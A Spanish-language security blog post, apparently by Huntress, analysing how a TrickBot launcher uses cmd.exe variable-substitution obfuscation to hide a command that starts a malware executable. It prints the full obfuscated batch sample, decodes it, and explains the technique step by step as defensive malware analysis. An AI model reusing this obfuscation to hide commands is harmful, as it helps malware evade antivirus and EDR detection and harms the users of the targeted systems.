Técnica probada de los hackers: ofuscación DOS

En esta publicación del blog destacamos una técnica de ofuscación que vemos utilizada en la última “centésima versión” del malware TrickBot.

¿Qué programa viene integrado y está disponible en todas las máquinas con Microsoft Windows que existen?

¡Pues el clásico cuadro negro de Command Prompt, por supuesto!

Command Prompt = cmd.exe

Command Prompt, o cmd.exe, es el intérprete de línea de comandos predeterminado de los sistemas operativos Windows. Su historia se remonta a los días del viejo shell DOS (o Disk Operating System) que corría en las computadoras personales basadas en x86.

command prompt icon

No quiero presentar esto como una tecnología antigua, arcaica y olvidada; de hecho, ¡sigue presente en todos y cada uno de los sistemas operativos Windows! Claro, ahora tenemos PowerShell y otras herramientas de línea de comandos más sofisticadas... pero Microsoft tiene que mantener su compatibilidad con versiones anteriores, y cmd.exe ha logrado resistir el paso del tiempo.

command prompt

Entonces, no debería sorprender que esta tecnología tan duradera y omnipresente sea un blanco predilecto para los hackers. cmd.exe ofrece una interfaz interactiva para que un usuario ejecute comandos, inicie programas, cree, mueva o elimine archivos en el sistema... ¡básicamente cualquier cosa en una computadora!

Scripts por lotes

Command Prompt se puede automatizar con scripts o simples archivos de texto que agrupan varios comandos para ejecutarse en secuencia. Esos archivos se conocen como archivos por lotes (y, como tal, tienen una extensión .bat), y escribir esos archivos se llama scripting por lotes.

Los administradores de sistemas suelen usar el scripting por lotes para facilitarse la vida y agilizar su flujo de trabajo, pero como esto da un gran acceso al sistema informático, los actores de amenazas y las familias de malware también aprovechan los archivos .bat (archivos por lotes).

batch script

Pero los hackers quieren ser sigilosos, ¿no es cierto?

Ahí está lo difícil: como los scripts por lotes son simples archivos de texto, cualquier software antivirus o producto EDR que valga la pena podrá escanear y detectar lo malicioso dentro de un script sospechoso o de algún código ejecutable.

Ya conoces el viejo dicho: “la seguridad es un juego del gato y el ratón”.

Una técnica que usan los hackers para ocultar y encubrir sus acciones es ofuscar su código malicioso.

La ofuscación consiste en oscurecer el significado que se quiere comunicar, haciendo el mensaje difícil de entender, por lo general con un lenguaje confuso y ambiguo.

A continuación: nuestro malware

Aquí tienes una muestra interesante de malware que descubrimos, la cual usa una ofuscación de scripting por lotes realmente ingeniosa.

Si miramos detrás de la cortina, esto es un lanzador para TrickBot.

set wjdk=set
%wjdk% gwdoy=
%wjdk%%gwdoy%ipatx==
%wjdk%%gwdoy%mqhofe%ipatx%es
%wjdk%%gwdoy%dppmto%ipatx%*
%wjdk%%gwdoy%qqou%ipatx%Da
%wjdk%%gwdoy%jpsfhg%ipatx%i
%wjdk%%gwdoy%ellpj%ipatx%1
%wjdk%%gwdoy%mtbrob%ipatx%g
%wjdk%%gwdoy%owmdn%ipatx%xe
%wjdk%%gwdoy%xhpnnd%ipatx%R
%wjdk%%gwdoy%lgqwon%ipatx%b4.
%wjdk%%gwdoy%tqwnuq%ipatx%***
%wjdk%%gwdoy%hhemc%ipatx%u
%wjdk%%gwdoy%onqdwr%ipatx%60
%wjdk%%gwdoy%xjbgb%ipatx%*
%wjdk%%gwdoy%trpjq%ipatx%303
%wjdk%%gwdoy%jwdub%ipatx%nt
%wjdk%%gwdoy%papbet%ipatx%t
%wjdk%%gwdoy%dmhljv%ipatx%min
%wjdk%%gwdoy%lkjmj%ipatx%C:
%wjdk%%gwdoy%hwagtv%ipatx%I
%wjdk%%gwdoy%ximgny%ipatx%App
%wjdk%%gwdoy%dblcjy%ipatx%***
%wjdk%%gwdoy%hbjewj%ipatx%de
%wjdk%%gwdoy%yatty%ipatx%b8
%wjdk%%gwdoy%tbqci%ipatx%li
%wjdk%%gwdoy%fbakxo%ipatx%**
%wjdk%%gwdoy%drwc%ipatx%131
%wjdk%%gwdoy%skmxb%ipatx%Use
%wjdk%%gwdoy%wttahx%ipatx%st
%wjdk%%gwdoy%nmdl%ipatx%5
%wjdk%%gwdoy%rulr%ipatx%e
%wjdk%%gwdoy%opflr%ipatx%o
%wjdk%%gwdoy%blel%ipatx%ti
%wjdk%%gwdoy%wbyt%ipatx%a
%wjdk%%gwdoy%exiy%ipatx%r
%wjdk%%gwdoy%yxbqxf%ipatx%s
%wjdk%%gwdoy%ntqi%ipatx%\
%wjdk%%gwdoy%jngoq%ipatx%ar
%wttahx%%jngoq%%papbet%%gwdoy%%lkjmj%%ntqi%%skmxb%%exiy%%yxbqxf%%ntqi%%dppmto%%dblcjy%%xjbgb%%fbakxo%%tqwnuq%%ntqi%%ximgny%%qqou%%papbet%%wbyt%%ntqi%%xhpnnd%%opflr%%wbyt%%dmhljv%%mtbrob%%ntqi%%hwagtv%%hbjewj%%jwdub%%jpsfhg%%blel%%mqhofe%%ellpj%%onqdwr%%trpjq%%drwc%%nmdl%%ntqi%%hhemc%%tbqci%%yatty%%lgqwon%%rulr%%owmdn%

Parece un montón de cosas sin sentido, ¿no es así?

Este fragmento de código inicia otro programa —que, en nuestro caso, era más malware— para desplegar ransomware, conectarse a un servidor C2, exfiltrar datos, o lo que sea.

Todos esos signos de porcentaje y letras aleatorias en realidad ejecutaban el comando:

start C:\Users\****\AppData\Roaming\Identities1603031315\ulib8b4.exe

ulib8b4.exe es un ejecutable de la última versión del malware TrickBot. Cuando descubrimos este ejecutable por primera vez (hace 29 días al momento de escribir esto), once motores antivirus lo detectaron según VirusTotal. Ahora, al momento de escribir esto, cincuenta y ocho motores lo detectan!

Los detalles más finos sobre lo que hace el programa ulib8b4.exe (es decir, TrickBot) no es en lo que nos enfocaremos aquí. Lo interesante que vale la pena desentrañar aquí es justamente cómo funciona esta ofuscación.

Variables y %Valores%

cmd.exe sí ofrece scripting como cualquier otro lenguaje de scripting (bueno, de forma algo limitada), así que el programador puede aprovechar cosas como variables, condicionales “if-statements”, bucles y más.

Como el scripting por lotes es interpretado por la shell del sistema cmd.exe, todo se interpretará como un comando. Incluso las variables sueltas o aisladas se fijan a un valor específico.

Para definir una variable en batch, se usa una sintaxis como esta:

set varname=value

El comando set indica que estás creando una variable, y hemos definido una variable llamada varname con el valor de value.

Luego, para acceder al valor de una variable, la envuelves entre signos de porcentaje:

echo %varname%

varname variable

Esto mostrará en pantalla el valor value, ¡porque eso es a lo que habíamos configurado la variable varname! El comando echo se usa para mostrar datos en pantalla. Si no hubiéramos incluido el comando echo, y solo hubiéramos ejecutado %varname%, veríamos un mensaje de error interesante:

'value' no se reconoce como un comando interno o externo, programa operable o archivo por lotes.

¡Ese es el mismo error que obtienes cuando escribes mal un comando! cmd.exe está interpretando el valor de la variable literalmente y ejecutándolo como si fuera un comando.

¿Notas algo sobre la sintaxis que acabamos de discutir? Se ve increíblemente similar al inicio de esa pequeña muestra de malware, ¿verdad?

De vuelta al código por lotes

Mira esta primera línea del código.

set wjdk=set

Esta palabra clave set denota una nueva variable, en este caso llamada wjdk, y se establece al valor de… ¿set? Eso es peculiar.

Luego, la siguiente línea:

%wjdk% gwdoy=

Usando el valor de la variable wdjk (que sabemos que es la palabra set), cmd.exe ¡interpreta esto literalmente para crear una nueva variable!

Esto parece que no está estableciendo ningún valor en absoluto… pero en realidad ha creado una variable gwdoy establecida al valor de un solo carácter de espacio.

La siguiente línea se ve aún más extraña.

%wjdk%%gwdoy%ipatx==

Ahora, si entendemos esto, el código está usando el valor de las variables wjdk y gwdoy, que son set y un carácter de espacio respectivamente, para establecer otra variable ipatx esta vez igual a… un carácter de signo igual.

En este punto, el código ha creado pequeños primitivos que pueden usarse para crear nuevas variables. El script por lotes ha hecho esencialmente que las variables tomen el lugar de la sintaxis necesaria, set, y = que se pueden usar para crear nuevas variables.

Mira el siguiente conjunto de líneas:

%wjdk%%gwdoy%mqhofe%ipatx%es%wjdk%%gwdoy%dppmto%ipatx%k%wjdk%%gwdoy%qqou%ipatx%Da

Sé que esto es difícil de leer a primera vista, pero podemos desentrañarlo con las piezas del rompecabezas que ahora conocemos. Usando nuestra función mental de "buscar y reemplazar", estas líneas básicamente significan:

%wjdk%%gwdoy%mqhofe%ipatx%es => set mqhofe=es%wjdk%%gwdoy%dppmto%ipatx%k => set dppmto=k%wjdk%%gwdoy%qqou%ipatx%Da => set qqou=Da

Simplemente creando más variables con nuevos valores.

creating variables

¿Pero qué son estos valores es, k y Da? ¿Por qué necesitaríamos letras aparentemente arbitrarias o secuencias de dos caracteres como variables?

Uniendo las piezas del rompecabezas

¿Recuerdas la última línea de esa extraña muestra de malware?

%wttahx%%jngoq%%papbet%%gwdoy%%lkjmj%%ntqi%%skmxb%%exiy%%yxbqxf%%ntqi%%dppmto%%dblcjy%%xjbgb%%fbakxo%%tqwnuq%%ntqi%%ximgny%%qqou%%papbet%%wbyt%%ntqi%%xhpnnd%%opflr%%wbyt%%dmhljv%%mtbrob%%ntqi%%hwagtv%%hbjewj%%jwdub%%jpsfhg%%blel%%mqhofe%%ellpj%%onqdwr%%trpjq%%drwc%%nmdl%%ntqi%%hhemc%%tbqci%%yatty%%lgqwon%%rulr%%owmdn%

Con lo que ahora sabemos, podemos afirmar que estos son solo todos los valores de las variables definidas comprimidos juntos.

Así que eso significa que todas esas líneas de código distintas anteriores, que solo creaban pequeños valores de variables de una o dos letras, ¡realmente servían para un propósito!

Todas esas variables eran solo pequeños fragmentos, o diminutas porciones del "payload final" o el comando real que el atacante quería ejecutar. El hacker simplemente pasó por una buena cantidad de pasos adicionales para ocultar y ofuscar ese comando, para que no pudiera ser detectado fácilmente.

Con esta técnica, los hackers podrían esencialmente tener un sustituto para cada carácter imprimible, y construir suficientes primitivos para enmascarar cualquier comando, o cualquier cantidad de comandos. Todo un script por lotes podría armarse usando este truco de ofuscación.

En la superficie, este código es completamente ininteligible. Parece letras aleatorias, en un orden aleatorio, con signos de porcentaje aleatorios esparcidos por todas partes. Pero cmd.exe lo interpretará y lo ejecutará, y esa shell de la vieja escuela es la herramienta incorporada probada y verdadera que los hackers saben que estará en un sistema objetivo.

Espera un segundo… ¿a quién le importa?

Ahora sé lo que estás pensando. Podrías simplemente poner un comando echo justo al inicio de la última línea y ver, directamente en tu pantalla, qué está tratando de hacer ese código.

Y tienes toda la razón.

echo command

Tú puedes hacer eso, porque tú entiendes el contexto y sabes cómo descifrar ese código.

El problema es: un sistema automatizado como un producto EDR genérico o un antivirus basado en firmas o un sistema de detección no sabrá cómo hacer eso. La máquina no verá ningún comando malo o malicioso, ¡y quizás este etapa de malware pase justo bajo el radar!

Ese es el punto real aquí. Esta técnica de ofuscación es un truco inteligente para enmascarar y encubrir el código que podría aprovecharse para hacer más daño… y tal vez una herramienta de defensa automatizada no genere una alerta sobre ello.

Encontrar este lanzador y el binario ulib8b4.exe tras los intentos de Microsoft de cerrar la infraestructura de TrickBot, y ver esto usado dentro de la última versión (v100) de TrickBot demuestra que esta es una técnica de ofuscación peculiar y "valiosa".

Análisis humano

En Huntress, lo gritamos a los cuatro vientos: el valor de que una persona real revise malware y código sospechoso. Tenemos todo un departamento de Operaciones de amenazas que explora manualmente puntos de apoyo persistentes, archivos irregulares, servicios y más.

No se puede negar que tener automatización implementada realmente mejora la postura de seguridad y la defensa de una organización. Pero las herramientas automatizadas, como todo, deberían ser solo una capa de defensa. No existe una bala de plata ni una varita mágica única que garantice la seguridad. Un stack de seguridad adecuado debe tener redundancia, segmentación, capas, muros y compartimentos — todas piezas distintas que juegan un papel en la gestión de la seguridad.

En Huntress creemos que un equipo de analistas humanos debería ser parte de ese stack de seguridad. Aunque una máquina automatizada podría no encontrar esta ofuscación extraña, alguien que entienda el contexto aquí ciertamente sí lo hará.

Para ver esta técnica de ofuscación implementada, e incluso "mejorada" en Python, mira esta demostración en video.

También te podría interesar